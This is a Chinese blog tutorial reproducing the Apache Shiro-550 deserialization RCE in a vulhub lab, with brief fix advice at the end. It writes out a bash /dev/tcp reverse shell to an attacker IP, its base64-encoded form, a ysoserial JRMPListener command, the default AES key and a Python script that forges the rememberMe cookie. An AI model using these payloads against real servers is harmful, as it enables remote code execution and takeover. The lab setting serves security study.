【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1 前言

0x2 漏洞原理

0x3 靶场搭建

1、环境准备

2、漏洞复现

shiro_attack工具

BurpShiroPassiveScan.jar插件

构造cookie,反弹shell

0x4 总结

漏洞修复:


0x1 前言

Shiro-550反序列化漏洞大约在2016年就被披露了,但感觉直到近一两年,在各种攻防演练中这个漏洞才真正走进了大家的视野,Shiro-550反序列化应该可以算是这一两年最好用的RCE漏洞之一,原因有很多:Shiro框架使用广泛,漏洞影响范围广;攻击payload经过AES加密,很多安全防护设备无法识别/拦截攻击……

0x2 漏洞原理

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,其处理cookie的流程是:

先获取cookie中的remberMe值 --> 对其base64解码 --> AES解码 --> 对解密的值反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

payload 构造的顺序则就是相对的反着来:

构造恶意命令 --> 序列化 --> AES加密 --> base64编码 --> 发送cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

给师傅们分享一个我很喜欢的博主画的理解图,这个还是很形象地展示了黑客攻击的流程。

0x3 靶场搭建

1、环境准备

  • Ubantu(192.168.103.161)搭建靶场环境,先下载docker,然后利用docker安装vulhub
  • kali(192.168.103.129)攻击机,用于接收靶机的反弹shell的

利用docker-compose启动靶场环境:

docker-compose up -d

在查看下镜像以及端口:

docker ps

然后浏览器访问192.168.103.161:8080/,得到下面的界面:

2、漏洞复现

我们先利用burp抓个登录包给大家看看rememberme字段是什么,再让大家更加好理解这个shiro漏洞。勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:

我看了很多CSDN博主写的,判断其是否有shiro漏洞,总结分析如下:

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro_attack工具

对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。

因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

我们利用shiro_attack工具进行图形化的分析,下面是这个工具的下载地址:

链接:https://pan.baidu.com/s/1C408FR_n1t-XbIlbPLNczw?pwd=pso6 
提取码:pso6 

利用java -jar 启动里面的.jar文件

java -jar shiro_attack-2.2.jar

我们可以看到,这个图形化的工具就很清楚检测出这个url存在shiro框架,并且还爆破出来了shiro550的迷人AES加密的key值:kPH+bIxk5D2deZiIxcaaaA==,这样就可以证明这个url存在shiro漏洞。

我们还可以进行命令执行等操作

BurpShiroPassiveScan.jar插件

我们还可以直接使用burp的抓包工具里面的插件,下面是下载链接:

百度网盘下载:
https://pan.baidu.com/s/1LFRF34kHKG5LljboSpjSkA
提取码:j43f

我们直接在burp里面添加这个插件

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

构造cookie,反弹shell

1、

先kali监听:

┌──(root💀kali)-[~]
└─# nc -lvnp 6666 

然后我们先利用kali攻击机搭建VPS服务,存放反弹shell的payload1,IP为kali的IP地址

bash -i >& /dev/tcp/192.168.103.129/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:

Runtime.exec Payload Generater | AresX's Blog

得到的编码结果如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

2、

接下来我们利用序列化工具ysoserial.jar(工具下载,开始的百度网盘里面有)生成payload,命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

  1. java -cp ysoserial.jar: 这部分指示 Java 运行一个程序,并通过 -cp 参数设置了 classpath,告诉 Java 解释器在哪里可以找到 ysoserial.jar 文件以及它所依赖的其他类。ysoserial.jar 包含了 ysoserial 工具的代码和依赖项。
  2. ysoserial.exploit.JRMPListener 7777: 这是执行的 Java 类和它的参数。ysoserial.exploit.JRMPListener 是 ysoserial 中一个用于创建 JRMP(Java Remote Method Protocol)监听器的类。7777 是监听器将侦听的端口号。这个监听器将会等待远程 Java 应用程序连接到它,并利用反序列化漏洞。
  3. CommonsCollections5: 这是 ysoserial 中内置的一个 payload,利用了 Apache Commons Collections 库中的反序列化漏洞。CommonsCollections5 是 ysoserial 中的一种预定义 payload 类型,表示使用的是该库中的第五种利用方式。
  4. "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}": 这是 payload 的一部分,它会在成功利用漏洞后在目标系统上执行的命令。这个命令是一个经过 base64 编码的字符串,它的含义是将 bash 的标准输入连接到一个通过 base64 解码后执行的命令。解码后的命令是 bash -c 'bash -i >& /dev/tcp/192.168.200.131/6666 0>&1',它的作用是在目标系统上执行一个反向 shell,将 shell 的输入和输出重定向到指定的 IP 地址和端口,这样攻击者就可以远程控制目标系统。

3、

我们接下来进行AES加密 —> base64加密 —> 然后生成rememberMe字段

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中的key:kPH+bIxk5D2deZiIxcaaaA==,我们开始利用shiro-atack工具进行破解出来了,而且shiro≤1.2.4的版本中,默认的AES加密的key都是这个,注意shiro.py的位置应当保证和ysoserial.jar在同一目录下。

这样我们就生成了请求包中rememberMe的payload2:

┌──(root💀kali)-[~/桌面/Shiro_exploit-master]
└─# python2 shiro.py 192.168.103.129:7777

rememberMe=DWUCimV9QwmfgBsoknr9X8dwZpvTzjuT7SHs69IYVjQhnFQMU9Uc87kTwI0BlqoBxxywURBNtJ/VEJa5avi3yLLwPCX7x0zwTGNrNsbOIglcGnipCVlKt0+3MAl1GcYxi5ophK+Z6Dmz6tX7pPedEve3gzShL9SYVSjUrxfAZJwoAbb45DsY56CSiLEq4iDPutC+U7OK36BbIbIz1XBxlQxU820RmAzepiDiz3y/gXjpG40bAoOoPFFHPg9IulM5cEHMhhsOnxDwpXjjwGyx564xomDrF5gMcOnA7qsFiOBRQFF4HKeIhFC8TPfhk2T629TjXufAkCac0KOUgPngbP+3FBc7bMncKLdNQNqMZYBrSqisvyOEwF/Cdm8YqMBySyeXoIYIQ51CXvnH7BNSxw==

4、

更改请求包中cookie的rememberMe字段, 我们要在这个数据包的Cookie字段后添加rememberMe字段。

然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:

5、

这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.103.129)进行了连接通信:

成功反弹shell,然后可以进行执行后台命令了。

0x4 总结

漏洞修复:

  • 及时升级shiro版本,不再使用固定的密钥加密。
  • 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

给大家分享一个哔哩哔哩的大佬的视频:

【Shiro反序列化漏洞(一)-shiro550流程分析】 Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/540993.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】手撕vector类(从会用到理解)

一、标准库中的vector类 1.1 vector类介绍 1.2 vector的常用接口 1.2.1 常用的构造函数 1.2.2 容量操作接口 &#xff08;1&#xff09;size &#xff08;2&#xff09;capacity &#xff08;3&#xff09;empty &#xff08;4&#xff09;resize &#xff08;5&#…

[LVGL]:MACOS下使用LVGL模拟器

如何在MACOS下使用lvgl模拟器 1.安装必要环境 brew install sdl2查看sdl2安装位置&#xff1a; (base) ➜ ~ brew list sdl2 /opt/homebrew/Cellar/sdl2/2.30.1/bin/sdl2-config /opt/homebrew/Cellar/sdl2/2.30.1/include/SDL2/ (78 files) /opt/homebrew/Cellar/sdl2/2.3…

VMware workstation的安装

VMware workstation安装&#xff1a; 1.双击VMware-workstation-full-9.0.0-812388.exe 2.点击next进行安装 选择安装方式 Typical&#xff1a;典型安装 Custom&#xff1a;自定义安装 选择程序安装位置 点击change选择程序安装位置&#xff0c;然后点击next 选择是否自动…

KMP-字符串查找算法

数据结构、算法总述&#xff1a;数据结构/基础算法 C/C_禊月初三的博客-CSDN博客 问题&#xff1a;假设现在我们面临这样一个问题&#xff1a;有一个文本串S&#xff0c;和一个模式串P&#xff0c;现在要查找P在S中的位置&#xff0c;怎么查找呢&#xff1f; 暴力匹配 即2层循…

前端路由跳转bug

路由后面拼接了id的千万不能取相近的名字&#xff0c;浏览器分辩不出&#xff0c;只会匹配前面的路径 浏览器自动跳转到上面的路径页面&#xff0c;即使在菜单管理里面配置了正确的路由 跳转了无数次&#xff0c;页面始终不对&#xff0c;检查了路由配置&#xff0c;没有任何问…

【C语言】字符与字符串---从入门到入土级详解

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C语言 ⚙️操作环境:Visual Studio 2022 目录 一.字符类型和字符数组&#xff08;串&#xff09;简介 1.ASCII 2.定义&#xff0c;初始化&#xff0c;使用 1>字符的定义及初始化 2>字符串的定义及初始化 二.…

最新Windows精简iso镜像运行超流畅!附下载

官网地址&#xff1a;https://archive.org/search?querysubject%3A%22tiny11%22 Tiny11是知名民间大神NTDEV打造的精简版Windows 11系统&#xff0c;基于于Windows 11 Pro 22H2的ISO镜像改进&#xff0c;删除了大量的微软内置应用&#xff0c;因此对硬件资源的要求更低&#…

kettle 9.4和Pentoho 9.4下载及安装方法简介

kettle 9.4和Pentoho 9.4下载及安装方法简介 下载地址&#xff1a; https://sourceforge.net/projects/pentaho/files/ 下载步骤&#xff1a; #------------- 一、点击选项卡&#xff1a;summary/ 二、点击第一行链接 https://www.hitachivantara.com/en-us/products/pentaho…

SQL面试学习 行列转换

行列转换 多行转多列 concat_ws&#xff1a;把集合中的值用指定分隔符连接 collect_set&#xff08;&#xff09;&#xff1a;收集唯一值并返回一个集合 SQL字符串拼接函数concat()、collect_set()、collect_list()和concat_ws()用法 cast&#xff08;&#xff09;将任何类型…

米尔更新面向工业产品的软件系统-基于瑞米派(Remi Pi)

米尔电子发布的瑞萨第一款MPU生态板卡——瑞米派&#xff08;Remi Pi&#xff09;自上市当天200套售罄&#xff0c;获得不少新老用户的青睐。为感谢大家的支持&#xff0c;米尔加推300套瑞米派活动&#xff0c;以补贴价回馈大家&#xff0c;抢完即止&#xff01; 不仅如此&…

Kyligence 亮相 Gartner 数据与分析峰会,生成式 AI 落地赋能业务

3月11日-13日&#xff0c;Gartner 2024 数据与分析峰会 (Gartner Data & Analytics Summit) 在美国奥兰多盛大召开。作为全球领先的大数据分析和指标平台供应商&#xff0c;Kyligence 出席本次峰会并发表了 Kyligence: AI Enables Intelligent PDCA&#xff08;AI 赋能从计…

姿态旋转的哥氏定理以及速度微分的推导

姿态旋转中涉及到坐标系的转换&#xff0c;在有相对旋转的两个坐标系中观察一个向量的变化&#xff0c;用到了哥氏定理。 例如在i系中观察e系下的运动&#xff0c;则 哥氏定理的公式 wie是e相对于i的角运动 注意符号i在前e在后。 wie是e相对于i的角运动 注意符号i在前e在…